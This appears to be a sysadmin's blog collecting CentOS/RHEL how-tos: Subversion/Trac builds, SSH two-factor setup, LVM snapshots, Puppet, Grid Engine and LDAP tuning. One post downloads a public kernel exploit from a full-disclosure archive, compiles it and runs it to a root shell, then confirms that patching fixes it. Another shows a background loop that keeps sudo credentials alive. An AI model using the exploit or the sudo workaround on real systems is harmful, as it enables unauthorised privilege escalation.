Work

Recently I run into the problem that a team had a requirement for subversion 1.6.6 (while CentOS 5u3 was not supporting this... but the vendor didn't provide a newer release). This team also had a requirement to have TRAC... TRAC is depended on Python... but I was not allowed to update the subversion bindings for python by updating the it on the whole system... so... this is what I did:

• Installed a number of devel packages:
  
  
  
  

     # yum install apr-devel neon{,-devel} apr-util-devel
  
  

  
  


• Compiled sqlite version 3.6.13 and installed it on NFS:
  
  
  
  

    $ ./configure --prefix=/nfs/apps/webservices/trac-parent/sqlite/3.6.13
  
    ...
  
    $ make ; make install
  
    ...

  
  


• Compiled subversion 1.6.6 and installed it on NFS:
  
  
  
  

  $ make clean; ./configure \
  
   --prefix=/nfs/apps/webservices/trac-parent/subversion/1.6.6 \
  
   --with-sqlite=/nfs/apps/webservices/trac-parent/sqlite/3.6.13 \
  
   --without-neon 
  
  ...
  
  $ make -j8 ; make install ; make swig-py ; make install-swig-py
  
  

  
  

  …

  
  


• Added the following line to /etc/sysconfig/httpd:
  
  
  
  

  export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/
  
  

  
  


• Modified /etc/httpd/conf.d/trac.conf by adding a ‘PythonPath’ to the location-directive:
  
  
  
  

  <Location /projects>
  
    ...
  
    PythonPath "['/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python'] + sys.path"
  
  </Location>
  
  

  
  


• Restart the trac daemon:
  
  
  
  

  # service httpd stop
  
  # service httpd start
  
  

  
  


• Now you’ve to resync the trac-instance with Subversion (the
  repository_dir value in the trac.ini of the instance).. but make sure
  you use the correct bindings in Python:
  
  
  
  

  # export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/
  
  # export PYTHONPATH=/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python
  
  # trac-admin ${TRAC_INSTANCE_PATH} repository resync "*"
  
  

  
  

Today I noticed a very nice article about enabling Google's two-factor authentication for Linux SSH.

After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small 'caveats'.

hg - Command

To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.

So after having the EPEL repositories enabled, run as root:

yum -y install mercurial

Compiling the PAM module

When you checked out the code.

hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/

You cannot compile directly the module... therefor you must apply a small change to the Makefile.

Change where /usr/lib/libdl.so is stated to /usr/lib64/libdl.so (3 occurrences)

$ make
$ sudo make install

Now you've to update the /etc/pam.d/sshd so it contains:

#%PAM-1.0
auth       required     pam_google_authenticator.so
auth       include      system-auth
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    optional     pam_keyinit.so force revoke
session    include      system-auth
session    required     pam_loginuid.so

Configure SSH

You also have to make sure that in /etc/ssh/sshd_config the following settings are set on yes:

ChallengeResponseAuthentication yes
UsePAM yes

And restart the SSH-daemon

Set up your smartphone/credentials on the system

$ google-authenticator
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB
Your new secret key is: SAEP64T5VZAVWAFB
Your verification code is 376046
Your emergency scratch codes are:
  67868696
  26247332
  54815527
  54336661
  71083816
Do you want me to update your "~/.google_authenticator" file (y/n) y
Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y
By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) n
If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y

And you're done

Give it a try to SSH to that box...

 TIP: Make sure you've an SSH session still open... or you might lock yourself out of the system...

I recently had the need to forward e-mail based on the from field to another mailbox. I know, it's possible with a simple .forward in your $HOME, but that will forward all the mail.

So after some further searching I end up with the following rule for your maildrop filter... it simply checks if the mail (in this example) is from linus@mail.example.com  and will forward it to linuxbox@collector.example.com:

if ( /^From: .*linus@mail\.example\.com.*/ )
{
        dotlock "forward.lock" {
          log "Forward mail"
          to "|/usr/sbin/sendmail linuxbox@collector.example.com"
        }
}

And that's all you need to put add to your $HOME/.mailfilter

A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I'm vulnerable as well... just wanted to know how it works

So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:

$ mkdir /tmp/expl
$ wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin
$ gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c

Now run the binary:

[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff8030d360
$$$ dummy_security_ops->ffffffff80496c00
$$$ capability_ops->ffffffff8030ec20
$$$ selinux_enforcing->ffffffff80499960
$$$ audit_enabled->ffffffff80485124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# whoami
root
sh-3.2#

Well... I don't like that... so... update the kernel, reboot and check again!

[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!
[pieter@testbox ~]$

Normally I used to have a backup-retention-script in place that will create a TAR-ball of the backup data (using Herakles). But this way I was not able to have a retention of longer then 3 days

So I had to look into another solution, I could add a new harddrive in the server... but there should be something else possible. So I ended up by using LVM snapshots. So I created a Volume group of about 100GB. In that volume group I created a logical volume of about 30GB, which is enough (and if not, we can 'grow' the Filesystem thanks to LVM )

After having all that done, I've created a script located in /root/scripts/lvm-snapshot. This script runs every midnight and creates a snapshot.

#!/bin/bash
#
# Create LVM Snapshots
#
#
#---------------------------------------------------------------------------------------------------------------
CURRENT_SNAPNAME="snap-"$(date "+%Y%m%d%H%M%S")
VOLUME2SNAPSHOT="/dev/vol_backup/lvm0"
LVMSNAPSHOTCMD="/usr/sbin/lvcreate -L 2G -s -n $CURRENT_SNAPNAME $VOLUME2SNAPSHOT"
LINE="---------------------------------------------------------------------------------------------------------------------"

echo $LINE
df -h /mnt/data
echo $LINE
$LVMSNAPSHOTCMD 2> /dev/null
#---------------------------------------------------------------------------------------------------------------
SNAPSHOT_RETENTION=15
CURRENT_SNAPSHOT_COUNT=$(lvdisplay | grep "^  LV Name                /dev/vol_backup/snap" | sort | awk '{ print $3 }' | wc -l)

OVERFLOW=$(echo $CURRENT_SNAPSHOT_COUNT - $SNAPSHOT_RETENTION | bc)
if [ $OVERFLOW -gt 0 ];
then
        echo $LINE
        for files in  $(lvdisplay | grep "^  LV Name                /dev/vol_backup/snap" | sort | awk '{ print $3 }' | head -n$OVERFLOW);
        do
                 /usr/sbin/lvremove -f $files 2> /dev/null
        done
fi
#---------------------------------------------------------------------------------------------------------------
echo $LINE
/usr/sbin/vgdisplay vol_backup
echo $LINE
/usr/sbin/lvdisplay $VOLUME2SNAPSHOT

And the crontab entry is:

# crontab -l
0 0 * /root/scripts/lvm-snapshot

This week I had to set up puppet with mongrel and apache for the balancing. To be honest... I never heard aboutthe puppet tool at all before (sorry puppet-developers ). As far as I understood, the puppetmaster is not really doing well with handling multiple concurrent requests and we need to provision about 128 compute nodes from a HPC cluster ...

On how I set up all the stuff in the test environment/production environment.

First I identified the right RPMs from EPEL, because I had no connection to the Internet:

augeas-0.5.3-1.el5.x86_64.rpm
augeas-libs-0.5.3-1.el5.x86_64.rpm
facter-1.5.7-1.el5.noarch.rpm
puppet-0.24.8-4.el5.noarch.rpm
puppet-server-0.24.8-4.el5.noarch.rpm
ruby-augeas-0.3.0-1.el5.x86_64.rpm
rubygem-daemons-1.0.7-2.el5.noarch.rpm
rubygem-fastthread-1.0.1-1.el5.x86_64.rpm
rubygem-gem_plugin-0.2.2-2.el5.noarch.rpm
rubygem-mongrel-1.0.1-6.el5.x86_64.rpm
rubygem-rake-0.8.3-1.el5.noarch.rpm
rubygems-1.3.1-1.el5.noarch.rpm
ruby-shadow-1.4.1-7.el5.x86_64.rpm

You can install them with 'yum --nogpgcheck localinstall *.rpm'.

You must als make sure that apache with mod_ssl is installed as well (yum install httpd mod_ssl).

Configuring Apache for load-balancing

As mentioned before, apache and puppet master must be installed.

First I copied and modified the /etc/init.d/httpd script to use it for puppet loadbalancing. Find my copy of the script on:

http://www.xs4all.nl/~paderijk/blog/puppet-balancer

So you can do:

# cd /etc/init.d/
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer
# chmod 755 ./puppet-balancer

Now we have to create the some additional directories:

# mkdir -p /var/log/puppet-balancer
# mkdir -p /etc/puppet-balancer/{conf,conf.d}

I used the configuration file initially set up by from Jeff McCune and modified it for RHEL5. This file can be found on:

http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf

So you can put it into place like this:

# cd /etc/puppet-balancer/conf
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf

And finally we need to create a symlink name /usr/sbin/puppet-balancer which links to /usr/sbin/httpd

# ln -s /usr/sbin/httpd /usr/sbin/puppet-balancer

I've done this, because somehow the init-scripts are having some inconstancy.

And we also need a /etc/sysconfig/puppet-balancer file

# cd /etc/sysconfig
# wget http://www.xs4all.nl/~paderijk/blog/sysconfig-puppetbalancer
# mv sysconfig-puppetbalancer puppet-balancer

For so far the apache configuration, still we don't start the puppet-balancer 'service'. First we need to configure and start the puppet master.

Configuration puppetmaster

The configuration of the puppetmaster was actually very easy.

*UPDATE* A colleague pointed me on the fact that the CA wasn't set up properly going into mongrel mode. So first start puppetmaster normally:

# service puppetmaster start ; sleep 5 ; service puppetmaster stop

Make sure the following line is 'enabled' to /etc/sysconfig/puppetmaster:

PUPPETMASTER_PORTS=( 18140 18141 18142 18143 )

This will enable puppetmaster with mongrel and starts on the ports 18140 to 18143

I also noticed that the RPM for puppetmaster didn't set up all the required directories, so I need to add them manual:

# mkdir -p /var/lib/puppet/yaml/{facts,nodes}
# chown puppet:puppet /var/lib/puppet/yaml/{facts,nodes}

Start the puppetmaster and Apache (puppet-balancer)

Now we can start the puppetmaster:

# service puppetmaster start

But we want to survive reboots as well, so we do also:

# chkconfig puppetmaster on

Now the Puppet CA is also set up. So now we can start the puppet-balancer (apache) as well. But first we need to symlink the key-file and the certificate file:

# ln -s /var/lib/puppet/ssl/private_keys/{$(hostname -f).pem,puppet-balancer.pem}
# ln -s /var/lib/puppet/ssl/certs/{$(hostname -f).pem,puppet-balancer.pem}

And now we can start the puppet-balancer:

# service puppet-balancer start

And get it also up and running after a reboot:

# chkconfig puppet-balancer on

More details on how to do further configuration/setting up manifest files et cetera can be found on the Puppet wiki:

http://reductivelabs.com/trac/puppet/

Recently I need to create a report about utilization of an HPC Cluster that uses Grid Engine, but we didn't had ARCO and so not running yet for that cluster

So I digged into my brain on how to load data from a "RAW" format into a database... it's something I did when I worked for PricewaterhouseCoopers Advisory, but then I used financial data.

Please press the continue reading link below... to read more

A user group we support uses an application and they have the license to use 20 concurrent runs. For them we've implement very recently the Sun Grid Engine job scheduler. Although they recently start complaining that jobs didn't run.

Their cluster exists out of 8 nodes with each 2 cores, so they've 16 slots in the job scheduler. We've set up two queues, the suspendable.q and the unsuspendable.q. Jobs in the suspendable.q queue can get suspended by jobs in the unsuspendable.q queue. So we can have in total 32 concurrent jobs (where 16 will be suspended).

Once their cluster is really busy, some jobs will not run... and after some investigation we found out why. The jobs that are suspended don't release their license to the license server. So we can have a total of 16 jobs in the suspendable.q and 4 in the unsuspendable.q. So we start limiting the number of unsuspendable jobs to 4, because the 21nd job that will start running will fail because it won't get a license.

On a kind of "intranet" website, which is secured with username/password combinations and HTTPS I've implemented the next feature:

- Authorized users can read everything on the website

- Files with in their filename "classified" requires a valid SSL-Client certificate...

Here is the output of my apache config:

<Directory /usr/sites/ssl-site/intranet/htdocs>
  Options Indexes MultiViews
  AllowOverride Authconfig
  Order allow,deny
  Allow from all
  AuthName "intranet"
  AuthType "Basic"
  AuthUserFile /usr/sites/ssl-site/intranet/etc/users.pwl
  require valid-user
</Directory>

<LocationMatch .*(c|C)(l|L)(a|A)(s|S)(s|S)(i|I)(f|F)(i|I)(e|E)(d|D).+>
  SSLVerifyClient require
  SSLVerifyDepth 1
  SSLOptions +OptRenegotiate
</LocationMatch>

 

I still have to sort out some issues, like directories having a directory with the name "classified" in them.

It can happen, you have sudo-access to another account (most of the time it will be access to the root account). But most of the time the NOPASSWD option is not used due to security reasons. But there are moments you want to have sudo-credentials available, think about a script or something else.... I had the same issue, so I found the next "hack" to get the timestamp refreshed every 60 seconds.

(Please note the script will use user "root" but it can be another user, please modify the scripts so it fits your needs).

Step 1)

Create a script in you $HOME/bin with the next content (I call it sudo-hack.sh):

---

#!/bin/bash 
while [ true ]; 
do 
  sudo -u root /bin/true > /dev/null 2> /dev/null 
  sleep 60 
done 

---

Step 2)

Get a valid sudo-timestamp:

$ sudo -u root /bin/true
Password:
$

Step 3)

Start sudo-hack.sh in the background:

$ $HOME/bin/sudo-hack.sh &
$

That's all!

This week I had the "Red Hat Enterprise Directory Services and Authentication" course and exam in Amsterdam.

In the course we had some very nice stuff, like Red Hat DS and at the end Red Hat Enterprise IPA... all very cool... but today I had the exam (due to the RedHat NDA I am not allowed to say anything about the exam, so I won't do it)... but a few hours after the exam I received my results... and I passed the exam

For a project I am working on migrating UNIX applications to Linux. Most of the scripting work supposed to be done in India, and that is where the issues came in. First you have a developer who knows how to work with M$ Technet and never worked with PERL before (at least 80% of the scripts is written in PERL).

First of all I introduced the user Net::LDAP within PERL, because they first did a ldapsearch, put the output into a ASCII file... and with a PERL script they structured the data... and loaded it into a Oracle database... so that was the first improvement.

Next there were several issues, like not good reading or understanding LDAP/PERL at all...

But at a certain moment, they start complaining about the fact that one of the scripts was slow... on the old system the script had a run time of 4 hours... and now it is up to 28 hours(!!!) So they requested me to investigate this.

First I found a 'main' kornshell script doing the next thing:

---

for VAR in a b d e f g i j k m n o p q r s t u v w x y z
do
   for NAME in "'" a b c d e f g h i j k l m n o p q r s t u v w x y z
   do
     ldap_script.pl $NAME $VAR
   done
done

---

The content of the ldap_script.pl was something like:

---

#!/usr/bin/perl
use Net::LDAP;
$ldap = Net::LDAP->new($LDAP_SERVER);
$ldap->bind($LDAP_DN, password=>$LDAP_PASSWD) or die "Cannot connect";
$LDAP_FILTER="(&(sn=$ARGV[0]*)(OfficeName=$ARGV[1]*))";
$mesg = $ldap->search(base=>$LDAP_BASE,
                      filter=>$LDAP_FILTER,
                     ) or die "Cannot connect";
push(@ENTRIES,$mesg->entries);
$ldap->unbind;

---

I thought that this costs a lot... loading PERL script, connecting to server, binding to it... et cetera... And this was done in the original script > 2000 times

So... I removed the loop out of the mainscript... and implemented it into the PERL-script, like this:

---

#!/usr/bin/perl

use Net::LDAP;

$ldap = Net::LDAP->new($LDAP_SERVER);
@LOOP=("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o",
       "p","q","r","s","t","u","v","w","x","y","z", "'");


$ldap->bind($LDAP_DN, password=>$LDAP_PASSWD) or die "Cannot connect";

foreach $LOOP1 (@LOOP)
{
  foreach $LOOP2 (@LOOP)
  {
     $LDAP_FILTER="(&(sn=$LOOP1*)(OfficeName=$LOOP2*))";
     $mesg = $ldap->search(base=>$LDAP_BASE,
                           filter=>$LDAP_FILTER,
                          ) or die "Cannot connect";
     push(@ENTRIES,$mesg->entries);
  }
}

$ldap->unbind;

---

And this runs within 3 hours!!! And it is flying!

There can be done more performance tuning... but that will be another project!

Currently I own and maintain some domains. For these domains you need a DNS-server to make a proper translation from hostname to ip-adress.

blog.adslweb.net -> 80.126.215.23

But to keep redundancy it is smart to have some extra DNS-servers configured. So I setup a 'master' DNS and a 'slave' DNS, but both of them were connected to a server on a ADSL line... This might not be a big problem, but due to some problems recently, I preferred to have something somewhere else

After some Google-ing, I found Twisted4Life, if you create an account, they provide you for free a 'slave' DNS.

NOTE: Some of the software is very experimental!!! I had some issues that my .ics was totally removed when I added a new 'task' via lightning, please make a backup of your ics file!

Some while ago I wrote a small article about WebDAV and Calendar files. Until so far no results on reading the files into my Nokia , but... I found an extension for thunderbird to handle meeting-requests from Outlook clients

You can find information on the project website of 'lightning'. To configure your webdav, you need to click on the calendar button

Click in the left pane with the right button en select 'New Calendar', now you can use the wizard to select your calendar.

And now let the invitations come...

Yesterday evening I start playing with Fedora Directory Server

So first I setup Fedora Core 8 as a VMWare-instance... But after some playing around, I had the next message:

"Server failed to start !!! Please check errors log for problems"

And guess what... no information at all in the logs So removed the packages and the next directories:

/etc/dirsrv
/etc/sysconfig/dirsrv
/var/lock/dirsrv
/var/lib/dirsrv

So no information... then strace will be your best friend

So I started:

[root@fedora-ds debug]# strace -o ~/debug/setup -ff /usr/sbin/setup-ds.pl

And guess what... I had the error again... So I went to the ~/debug folder on another terminal and did:

[root@fedora-ds debug]# grep "failed" *
setup.31676:read(4, "Server failed to start !!! Pleas"..., 4096) = 64
setup.31676:write(2, "Server failed to start !!! Pleas"..., 64) = 64
setup.31711:write(1, "Server failed to start !!! Pleas"..., 64) = 64
[root@fedora-ds debug]#

When I digged into setup.31711 I found:
read(255, "if test ! -f $STARTPIDFILE ; the"..., 2220) = 663
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
stat64("/var/run/dirsrv/slapd-fedora-ds.startpid", 0xbfcd8eb8) = -1 ENOENT (No such file or directory)
rt_sigprocmask(SIG_SETMASK, [], NULL, = 0
fstat64(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f7c000
write(1, "Server failed to start !!! Pleas"..., 64) = 64

So this is a nice clue... /var/run/dirsrv... and guess what... the owner of this directory was fedora-ds (a user I set up initially for testing purposes for the Directory Server ) With the comment chown I corrected the owner of this folder... and now service dirsrv start works

Conclusion... strace is your best friend